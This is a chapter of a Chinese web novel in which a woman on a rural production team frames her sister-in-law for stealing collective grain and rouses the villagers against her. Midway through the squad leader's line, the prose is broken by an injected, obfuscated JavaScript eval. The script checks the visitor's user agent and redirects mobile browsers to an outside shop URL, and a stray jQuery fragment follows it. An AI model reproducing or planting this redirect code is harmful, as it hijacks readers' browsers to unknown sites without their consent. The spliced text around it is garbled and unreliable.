场子边放着几架平板车。

    等稻谷全部装袋完成后,再用平板车运回几百米远的粮库。

    每人负责的区域能装七八十袋粮,一平板车能拉个十袋左右,四五趟就运完一块区域。

    这时候,一般就分成两个人一组,一人套着襻带拉,一人在后面撅着屁股推,两人合力把粮食运过去。

    平日相处好的一些人就自动结伴了。

    莫桂兰脑子一转,拒绝了刚才跟她一起装口袋的妇女,转而对季初萤喊道:“小妹,咱俩一组!”

    季初萤:?

    早上打架的时候,叫人家死丫头,现在拉人入伙了,叫人家小妹。

    很难不怀疑莫桂兰没憋好屁。

    周寡妇拉住季初萤,小声:“别去,让她自己一个人落单去吧。”

    前几天,周寡妇都是自己一个人,用别人挑剩的破车。

    她拉不动太多,一趟只能装三四袋,来来回回,天黑透了才能拉得完。

    姜苗去抢了一辆顺滑好用的平板车拉过来了,听说莫桂兰喊季初萤一组,也道:“别去,咱仨还一起。”

    季初萤道:“没事,我跟她一组,你俩一组,我看看她到底想干什么。”

    姜苗跟周寡妇见劝不动她,只好作罢。

    姜苗无奈地对周寡妇说:“她一直就是这种软心肠的人,要不能让莫桂兰那么欺负吗。”

    周寡妇:“大概念着到底是一家人吧。”

    两人边说着,边往平板车上搬麻袋。

    一袋稻子100斤左右,她们常年干活,两人抬一袋不在话下。

    莫桂兰拉着车走到季初萤这块。

    “先送你这边。”

    季初萤:“行。”

    她们跟姜苗周寡妇一样,先往车尾压上两袋,依次往上摞。

    装了几袋后,莫桂兰道:“我架着车,你再放两袋。”

    平板车拉重物,前后平衡才能省力,就需要一个人扶着两个车把,让车平着。

    莫桂兰还怪精的,自己站着不动扶车,让季初萤这小细胳膊细腿扛麻袋。

    季初萤装柔弱:“嫂子,我力气小搬不动,还是我架着车,你来装吧。”

    莫桂兰噎了一下:“我怕你按不动车子。”

    季初萤依旧不吃那套:“那算了,我不跟你一组了。”

    莫桂兰:“别呀!”

    你不跟我一组,我的计划怎么实施啊!

    她不情不愿地说:“行,我装。”

    季初萤更加确定莫桂兰没存好心眼子,且看她等会要干什么惊天动地的大事吧。

    季初萤用力一跳,用自身体重,将车把朝天的平板车压下来呈水平状。

    莫桂兰需要搬着麻袋先放在前面,这样季初萤就不用那么吃力的压着车子了。

    但她脑袋灵光一闪,决定给重的车后边再加点码,把季初萤撅上天。

    莫桂兰嘴角一歪,把手里的那袋嘭地一下砸在车板后缘,然后往后站了一步准备大笑。

    结果,平板车还保持着水平,连一点倾斜都没有,更别说把季初萤撅上天了。

    季初萤稳如泰山:“愣着干什么?还不快点?”

    莫桂兰真是干坏事不嫌累,有点心眼子全使她身上了。

    这怎么不是一种羁绊呢?

    莫桂兰表情发蒙:??

    季初萤刚才不是说自己力气小吗?

    这种重压,她都按不住,就算是一个壮年男人都费劲,季初萤竟然稳稳的,脸色一点都没变。

    季初萤:“再磨叽,举报你磨洋工。”

    莫桂兰:“……”

    她暂时放弃让季初萤出小丑的计划。

    等会让她出大丑。

    莫桂兰使出吃奶的力气,又往平板车扔了两袋。

    一个小时后,季初萤这边的稻子都运到粮库了。

    莫桂兰竟然没有再作妖,季初萤大感意外。

    她就这么放弃了,想跟她重修旧好?

    不对,两人就没有什么旧好。

    轮到莫桂兰那边了,莫桂兰竟然还跟刚才一样,很沉得住气。

    直到最后一车拉回去,莫桂兰都没再做什么。

    就在季初萤放下戒心的时候。

    俗套剧情它来了。

    当时天已经黑了,平板车停在粮库门口,季初萤跟莫桂兰搬着麻袋往粮库卸。

    其他人都已经快一步,在排队登记工分了。

    “还有两袋就卸完了,你搬……”粮库门口的灯泡烧了,莫桂兰看不太清楚,伸手摸了摸剩下的两袋,“这袋!”

    季初萤一摸莫桂兰说的那袋,麻袋超鼓的,份量很足。

    再摸另一袋,一按能按出个坑来。

    季初萤:就这?

    还以为魔鬼兰有什么惊天地泣鬼神的招,到头来还是要累死她。

    不是,这么点小招数,值得莫桂兰忍这么久?

    不像她的风格啊。

    季初萤又摸了摸重的那袋的袋口,哦,原来是绳子没扎紧。

    这要是撒了,季初萤不光要挨批评,还要扣工分。

    被批评扣工分都是轻的,还有可能被人当成是故意松袋口偷粮。之前就有人干过,让粮食漏在路边,过后再偷偷回来捡拾,损公肥私。

    偷粮可不是批评几句的事,是要重罚的!

    季初萤答应:“行!”

    她两手摸索着,系紧袋口,然后毫不费力地搬起来,像搬个空箱子那般轻松。

    甚至抱在怀里颠了两下:“嫂子,这袋咋这么轻啊?跟没装满似的。”

    莫桂兰:?

    季初萤这个蠢货搬错了?

    她凶巴巴:“你搬的哪袋!”

    季初萤语调轻松地说:“不知道啊,这袋扁扁的,软塌塌的。”

    莫桂兰没好气:“我的腰像闪着了,弯不下了,你把这袋放我背上,你搬另一袋。两袋都一样的。”

    啧,真是此地无银三百两。

    季初萤装傻:“啊?”

    莫桂兰:“快点啊!真磨蹭!”

    季初萤轻扯了一下嘴角:“那好吧,你接着。”

    她把麻袋往莫桂兰背上一放,莫桂兰没成想这么重,被压得哎哟一声。

    季初萤搬起平板车上那袋轻的,撒腿就跑。

    莫桂兰被麻袋压得差点趴在地上,腰部传来刀割一般的疼。

    季初萤已经跑开了:“哈哈哈哈哈!”

    莫桂兰意识到自己又被耍了。

    她的腰这下好像真的闪着了,一阵阵刺痛。

    他爹的,装了半天,竟然没坑到季初萤!反而把自己的腰给闪着了。

    莫桂兰被气昏了头。

    季初萤嚣张的笑声不断刺激着她的理智。

    她忍着疼,吃力地把背上那袋粮,掀回平板车,解开袋口,捧出一小堆稻子用自己的头巾包起来,然后扯着嗓子,大声喊道:“季初萤!你给我站住!”

    这会儿晒稻谷的,还有一部分割猪草和下地干活的人,都在旁边大队部门口的灯下登记工分。

    她这一嗓子喊得很响亮,引得众人都朝粮库门口看过来。

    季初萤抱着那袋不满的麻袋:“站住了,有事吗?”

    莫桂兰舌上有龙泉:“季初萤你竟敢偷粮食!”

    一听“偷粮”,大家的脸色都变了。

    呸!

    挖社会主义墙角!

    不要脸!耗子精!可耻!

    一时间,他们也顾不上登记工分了,围了过来,有人还跑进大队部去喊卫建国了。

    莫桂兰大有大义灭亲的架势:“队长我要举报季初萤!她偷粮!”

    卫建国一听:偷粮?还是自家人举报的?

    他眼如鹰隼,不怒自威:“说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619032|205878||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    清楚怎么个事?”

    莫桂兰掷地有声:“季初萤那袋粮不满,被她偷偷倒出来了。”

    季初萤:“……”

    莫桂兰是不是脑子被驴踢了?

    虽然季初萤对季家人没什么感情,但世俗意义上,他们就是一家人,命运共同体。

    同锅吃饭,荣辱与共。

    她季初萤偷公粮、挨批斗,季家人脸上就好看了?日子还能好过了?

    全家都要被骂出天际的好吗?

    季初萤怀里的粮袋被人抢过去,拿到大队部门口的灯下。

    她人也被几只手拉扯着拽过去,对偷粮的老鼠,村民们可不是那么客气的。

    “队长!这袋装的不够数!”

    生产队的粮袋是标准规格的,每袋装多少大差不差。

    但季初萤这袋,明显低于标准。

    卫建国上手摸了摸,确实不对。

    围着的人顿时炸开了锅。

    “呸!”

    “长得人模狗样,手脚这么不干净!”

    “抓起来!把她抓起来!”

    周寡妇挡在季初萤面前,鼓起勇气跟人呛声道:“这些袋子是莫桂兰装的,怎么不说是她?”

    “嘿tui!你个臭寡妇帮她说话,你们就是一路货色!”

    卫建国呵斥:“怎么说话的!影响团结!”

    那人讪讪的,小声嘟囔:“不是一路货色干嘛帮她说话?”

    周寡妇气得眼泪汪汪,还是红着眼睛替季初萤说话:“季初萤过去的时候袋子都已经装好了,明明是莫桂兰嫌疑更大。”

    “那季初萤为什么不举报莫桂兰呢?这袋子少得这么明显,她不可能摸不出来!”

    “就是!她就没有人家莫桂兰同志高尚!”

    姜苗替季初萤辩解:“季初萤一直跟我们一起干活,傍晚才被莫桂兰叫过去,之前收粮的时候也装过半袋呀。”

    “半袋的麻袋要先送到粮库登记入库,为什么放在最后一车冒充满袋?就是有问题!”

    卫建国示意众人安静:“季初萤,你说说吧。”

    季初萤:“这袋是装少了,多的在莫桂兰那袋里。”

    莫桂兰就等着她说这句话呢。

    “我这里没有!初萤,咱们虽然是一家人,但我是不会跟你同流合污的,你别想拉我下水!”

    莫桂兰把自己那袋搬出来,跟季初萤那袋放在一起。

    “队长,你掂量掂量,我这袋里是不是正常量。”

    卫建国提着麻袋掂了两下,眉头紧紧皱了起来。

    莫桂兰这袋不多不少,是正常量。

    莫桂兰挑眉道:“初萤,你说你也是土墩生产队的人,能做这种损害集体的事情?”

    “就是!这种大老鼠要重罚啊,队长!”

    周寡妇气道:“莫桂兰,你怎么能这样?她好歹是你家人!”

    莫桂兰捏着声音阴阳怪气:“周寡妇,你这觉悟也太低了!我这是舍小家为大家,你莫不是觉得,我跟季初萤一家人,她干了损害集体的事,我不应该报告给大队,反而应该替她遮掩?”

    周寡妇被噎得说不出话来。

    “莫桂兰说得没错!我早就说周寡妇跟季初萤是一路货色!看看人家莫桂兰,为了集体的利益,就算是自家人都不袒护。”

    “对!这才是高尚有道德的好同志!好社员!”

    “重罚季初萤!”

    “送去劳动改造!”

    几个人上手推搡季初萤,手上推着,嘴里还激昂地喊着口号。

    莫桂兰抱着手臂,嘴角带笑看着季初萤。

    季初萤:“装完了吗?”

    莫桂兰:嗤!

    你现在有嘴也说不清!

    季初萤活动手腕,对卫建国道:“队长,我问问我嫂子,中间可能有误会。”

    既然用嘴说不清,那就用不可说。